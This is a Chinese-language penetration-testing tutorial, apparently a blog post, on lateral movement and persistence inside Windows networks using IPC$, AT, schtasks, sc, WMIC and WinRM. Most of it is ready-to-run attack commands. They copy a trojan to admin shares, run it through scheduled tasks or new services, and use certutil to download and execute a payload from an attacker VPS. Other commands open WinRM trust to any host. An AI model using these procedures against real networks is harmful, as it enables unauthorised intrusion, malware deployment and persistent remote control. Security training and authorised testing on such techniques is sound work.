内网渗透之横向移动&持久化远程控制篇——利用ipc、sc、schtasks、AT,远程连接的winrm,wmic的使用和定时任务的创建

1、横向移动介绍

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击内网其他主机,扩大攻击影响范围。

横向移动的三个阶段:前期准备(主机信息的收集,植入持久化后门(如修改注册表)),内网探测与路径寻找阶段(凭证窃取(使用crackmapexec 密码喷射),内网扫描),目标渗透与控制权拓展阶段(复用前期准备的操作,逐步向拿下整个内网推进)

2、IPC$

(1)IPC$简介

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的

命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用IPC$,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用户列表等信息。

进程通信:一文搞懂六大进程通信机制原理(全网最详细) - 知乎

(2)使用条件

1.开放了139、445端口

我们可以通过139和445端口来实现对共享文件/打印机的访问,因此一般来讲,IPC$连接是需

要139或445端口来支持的

IPC$连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示netbios协议的应用。

IPC$连接默认会走445端口,不通的话则会走139端口,这两个端口都可以单独实现文件共享

2.目标开启IPC$文件共享服务及默认共享

默认共享是为了方便管理员远程管理而默认开启的共享。

所有逻辑磁盘((c、d、e.)和系统目录WINNT或WINDOWS(ADMIN:),通过IPC连接可以实

现对这些默认共享的访问

3、需要目标机器的管理员账号和密码

默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对admin$目录建立

IPC连接

本地的Administrator用户也可以,如果启用了该用户,那么也可以使用Administrator用户远

程连接

(3)常用命令

查看连接情况:net use

连接:net use\\IP\ipc$ /user:useername "password"

域下连接:net use\\IP\ipc$ /user:域名\useername "password"

查看目标主机时间:net time \\目标ip

文件上传:copy start.exe \\目标IP\c$\target.exe

文件下载:copy \\目标IP\c$\target.exe c:\tools\target.exe

查看目标主机文件:dir \\目标IP\c$

查看共享的资源:net share

删除共享的资源:net share C$ /del

共享计算机的c盘:net share C$=c:\

开放ipc的共享:net share ipc

关闭ipc的共享:net share ipc /del

映射共享磁盘到本地z:net use z: \\目标IP\c$ /user:username "PASSWORD"

删除连接:net use \\目标IP\ipc$ /del

删除所有连接:net use * /del /y

(4)IPC$连接失败常见错误号

3、IPC+AT

(1)AT简介

AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

AT命令在windows server2012等新版系统中已被弃用(新版使用schtasks)

AT命令如果找不到网络路径,则判断是目标主机已禁用Task Schedu1ler服务

·问题:执行at命令时,显示绑定句柄无效。

·解决:echo1g.10.11.1 30 RemoteHost>C:\Windows\System32\drivers\etc\hosts

(2)利用

1、建立连接

net use \\目标IP\c$ /user:administrator "password"

2、通过文件共享上传木马到目标主机

copy b7.exe \\目标IP\c$\b7.exe

dir \\目标IP\c$

3、查看远程主机时间

net time \\目标IP

4、at命令添加任务

at \\目标IP 17:28 c:\b7.exe

目标主机会在17点28执行b7程序

5、at命令查看任务

at \\目标IP

6、at命令删除任务

at \\目标IP 1 /delete

删除任务1

4、IPC$+schtasks

(1)schtasks简介

schtasks可以理解为新版at

允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

/Create 创建新计划任务。

/Delete 删除计划任务。

/Query 显示所有计划任务。

/Change 更改计划任务属性。

/Run 按需运行计划任务。

/End 中止当前正在运行的计划任务。

/ShowSid 显示与计划的任务名称相应的安全标识符。

/sc 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。

/mo 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。

/tr 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

/tn 指定任务的名称。

/? 显示此帮助消息。

(2)命令格式

工作组

创建任务

schtasks /create /tn 任务名 /s 机器IP /U 主机名\用户 /P 密码 /tr 命令 /sc ONSTART /RU system

运行任务

schtasks /run /tn 任务名 /s 机器IP /U 主机名\用户 /P 密码

删除任务

schtasks /F /delete /tn 任务名 /s 机器IP /U 主机名\用户 /P 密码

域环境

创建任务

schtasks /create /tn 任务名 /s 域机器IP /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /RU system

运行任务

schtasks /run /tn 任务名 /s 域机器IP /U 域\域用户 /P 域用户密码

删除任务

schtasks /F /delete /tn 任务名 /s 域机器IP /U 域\域用户 /P 域用户密码

(3)利用

1、建立IPC连接

net use \\10.10.10.20 /user:administrator "password"

net use

2、通过文件共享上传木马到目标主机

copy b7.exe \\目标IP\c$\b7.exe

dir \\目标IP\c$

3、使用schtasks在远程主机创建定时任务

要先更改编码

chcp 65001

schtasks /create /s 目标·IP /u web\administrator /p "password" /sc MINUTE /mo 1 /tn test /tr "c:\\b7.exe"

|-------------------|---------------------------------------------|
| /tr "c:\b7.exe" | 任务要执行的程序 / 命令 (这里是运行远程主机C盘下的b7.exe) |

|--------------|---------------------------------------------|
| /sc MINUTE | 任务的触发周期类型(这里是 "每分钟") |
| /mo 1 | 周期的间隔数 (配合/sc MINUTE,表示 "每 1 分钟执行一次") |

4、查看远程主机创建的定时任务

schtasks /query /s 目标IP /tn test /u web\administrator /p "password"

5、运行/删除远程主机的计划任务

schtasks /run /s 目标IP /u web\administrator /p "password" /tn test

schtasks /delete /f /s 目标IP /tn test /u web\administrator /p "password"

5、IPC+SC

(1)SC简介

SC命令可以注册、删除和查询系统服务

(2)常用指令

创建服务

sc create [service_name] binpath= "D:\test\test.exe"

查询服务

sc query [service_name]

删除服务

sc \\目标IP delete [service_name]

启动服务

sc \\目标IP start [service_name]

停止服务

sc \\目标IP stop [service_name]

(3)利用

1、首先就是把木马上传到目标------ps:生成的木马要是服务型可执行文件,如msf时-f exe-service

copy bs8.exe \\目标IP\c$\bs8.exe

dir \\目标IP\c$

通过msf上传:

upload /root/shell/bs8.exe c:/bs8.exe

2、远程主机上创建并启动服务

本地系统启动时启动服务

sc \\目标IP create test binpath= "c:\bs8.exe" password=password

  • sc \\10.10.10.20:指定操作的远程主机 IP(10.10.10.20);
  • create test:创建一个名为test的新服务;
  • binpath= "c:\bs8.exe":指定服务对应的可执行文件路径 (即之前生成的恶意程序bs8.exe);
  • password= password:这里是本地系统账户的密码(默认用LocalSystem账户运行服务,系统启动时自动加载

当 "web\administrator" 用户登录时启动服务

sc \\目标IP create test binpath= "c:\bs8.exe" obj= "web\administrator" password= password

  • obj= "web\administrator":指定服务的运行账户web主机下的administrator用户;
  • 效果:当web\administrator用户登录目标主机时,这个服务才会启动(更隐蔽的触发条件)

sc查询服务信息

sc \\目标IP qc test

注意:binpath设置选项'='后面有一个空格

6、WMIC

(1)wmic简介

WMl:(Windows Management Instrumentation Windows管理规范),是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WM的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows.里的WMl服务(winmgmt)。在windows2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CM中使用类表示管理对象,命名空间是一个类的集合。通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。

详细参考:https:∥docs.microsoft..com/zh-cn/windows./win32/wmisdk/.wmic

简而言之WMI是一种接口WMIC是为WMI提供的命令行界面。

(2)使用条件

1.Windows Management Instrumentation服务开启,端口TCPl35,默认开启

2.防火墙允许135、445等端口通信

(3)命令格式

wmic [全局开关] <别名> <动词> [参数]

常用全局开关包括:

  • /node 指定目标计算机

  • /user /password 指定远程登录凭据

  • /output 输出重定向

  • /namespace 指定命名空间

常用动词:

  • GET 获取属性值

  • LIST 列出对象信息(支持BRIEF、FULL等)

  • CALL 调用方法

  • CREATE/DELETE/SET 创建、删除或修改对象

查看所有进程

wmic process list brief

按名称结束进程

wmic process where name="qq.exe" call terminate

创建新进程

wmic process call create "notepad.exe"

启动服务

wmic service where name="server_name" call startservice

停止服务

wmic service where name="server_name" call stopservice

修改启动类型

wmic service where name="server_name" set StartMode="auto"

查看CPU型号

wmic cpu get Name

获取BIOS详细信息

wmic bios list full

获取物理磁盘信息

wmic diskdrive get Caption,Size,InterfaceType

在远程主机执行命令

wmic /node:"192.168.1.10" /user:"admin" /password:"123456" process call create "cmd.exe"

process call调用 进程

(4)利用

1、查询进程信息

wmic /node:IP /user:administrator /password:password process list brief

PS:因为 WMIC 本身不能直接执行命令,但可以通过 "启动cmd.exe进程 + 让cmd去执行命令" 的间接方式,实现 "执行命令" 的效果

2、利用create创建进程

wmic /node:IP /user:administrator /password:password process call create "cmd /c calc.exe"

如果出现User credentials cannot be used for local connections,应该是调用calc,exe

程序权限不够的问题

如果出现Description=无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判

断WMI服务被禁用
wmic命令缺点是没有回显

3、下载远程文件并执行

wmic /node:IP /user:administrator /password:password process call create "cmd /c certutil.exe -urlcache -split -f http://vpsip/b7.exe c:/windows/temp/b7.exe & c:/windows/temp/b7.exe"

  • certutil.exe:Windows 自带的证书管理工具,可被利用于下载文件;
  • -urlcachecertutil.exe的参数,操作 URL 缓存;(下载文件本质是缓存远程 URL 的内容)
  • -split:将下载内容保存为文件;
  • -f:强制覆盖已存在的文件;
  • cmd /c:执行后面的命令后,自动关闭cmd窗口

7、WINRM

(1)WinRMi简介

WinRM指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)和5986(HTTPS),在2012及以后默认开启.

(2)利用

1、判断本地是否开启(三种方法)(远程的话就是扫描端口(用txportmap等端口扫描工具

winrm enumerate winrm/config/listener

netstat -ano | findstr 5985

wmic service list brief | findstr WinRM

2、查看远程winrm服务是否正常

powershell -c test-wsman IP

  • PowerShell 执行Test-WSMan命令,检查远程主机的 WinRM 服务端口(默认 5985/5986)是否开放、服务是否响应。
  • 结果:若返回 WinRM 版本等信息,说明服务正常;若报错(如连接超时),则服务未正常运行。

3、开启winrm服务

winrm quickconfig

  • 注意 :需以管理员权限运行该命令。

查看 WinRM 监听配置

命令winrm enumerate winrm/config/listener

  • 作用:查看本地 WinRM 服务的 "监听配置"(即 WinRM 服务绑定的 IP、端口、协议等信息)。

4、允许远程主机访问

winrm set winrm/config/client @{TrustedHosts="*"}

  • 作用:将 "所有远程主机" 加入本地 WinRM 客户端的 "信任主机列表(TrustedHosts)"。
  • 逻辑 :WinRM 默认仅信任 "同域主机",若要访问非域主机 ,需将其 IP / 主机名加入 TrustedHosts;这里用*表示信任 "任意远程主机"(属于宽松配置,实际场景可指定具体 IP / 主机名,如TrustedHosts="10.10.10.20,192.168.1.1")。
  • 注意:修改后立即生效,无需重启服务。
  • @{TrustedHosts="*"}TrustedHosts:配置项名称(翻译为 "信任主机列表")

5、winrs执行命令

winrs -r:http://目标IP:5985 -u:administrator -p:password ipconfig

winrs -r:http://目标IP:5985 -u:administrator -p:password "cmd.exe"

6、wimrm横向移动

1、利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

winrm invoke create wmicimv2/win32 process @fCommandline="calc.exe"}

不-r默认本地开启

命令调用了Windows WMIE中Win32_process类的Create方法,生成了一个calc.exe的新进程

2、在远程机器上打开进程

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://目标IP:5985 -u:administrator -p:password

3、在远程机器上创建服务

复制代码
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cm
d.exe /c c:\b7.exe"}-r:http://目标IP:5985 -u:
administrator -p:password

|---------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| winrm invoke | WinRM 的 "调用操作" 命令,用于触发远程 WMI 类的方法(这里是调用Win32_ServiceCreate方法)。 |
| Create | 要调用的 WMI 方法:Win32_Service类的Create方法(作用是 "创建 Windows 服务")。 |
| wmicimv2/Win32_Service | WMI 类的路径:root/cimv2命名空间下的Win32_Service类(用于管理 Windows 服务)。 |
| @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\b7.exe"} | 传递给Create方法的服务配置参数 (多个参数用分号分隔):- Name:服务的 "服务名"(系统内部标识,需唯一);- DisplayName:服务的 "显示名称"(在服务管理器中看到的名称);- PathName:服务对应的 "可执行程序路径 + 参数"(这里是通过cmd.exe启动c:\b7.exe/k表示执行后保留 cmd 窗口)。ps:这里建议/c |
| -r:http://目标IP:5985 | 指定远程目标主机 :- rremote的缩写;- http://是 WinRM 的传输协议(默认 HTTP 用 5985 端口,HTTPS 用 5986 端口);- 目标IP:5985是远程主机的 IP+WinRM 端口。 |

4、在远程机器上启动服务

winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://目标IP:5985 -u:

administrator -p:password

这里name不能换成 @{Commandline="calc.exe"}服务和进程不一样

相关推荐
Nerd Nirvana2 小时前
WSL——Windows Subsystem for Linux流程一览
linux·运维·服务器·windows·嵌入式·wsl·wsl2
JH30733 小时前
Java 是值传递:深入理解参数传递机制
java·开发语言·windows
私人珍藏库3 小时前
[Windows] Office Tool Plus V10.29.50.0
windows·工具·office·辅助
luojiezong3 小时前
锐捷极简以太彩光网络解决方案入选《“AI中国”生态范式案例集(2025)》
网络·人工智能
萧技电创EIIA3 小时前
威纶通触摸屏入门指南(从安装到入门使用)
运维·服务器·网络
rgb2gray3 小时前
城市韧性与交通基础设施系统耦合协调度的时空演变及影响因素
网络·人工智能·python·ai·写作·耦合·耦合协调
测试人社区—小叶子4 小时前
测试开发面试高频“灵魂八问”深度解析与应答策略
网络·人工智能·测试工具·云原生·容器·面试·职场和发展
吕了了4 小时前
116Dism++备份系统,如何选择性的备份文件?
运维·windows·电脑·系统
科技块儿4 小时前
【方法】IP66.net:如何查到自己的IP?
网络·网络协议·tcp/ip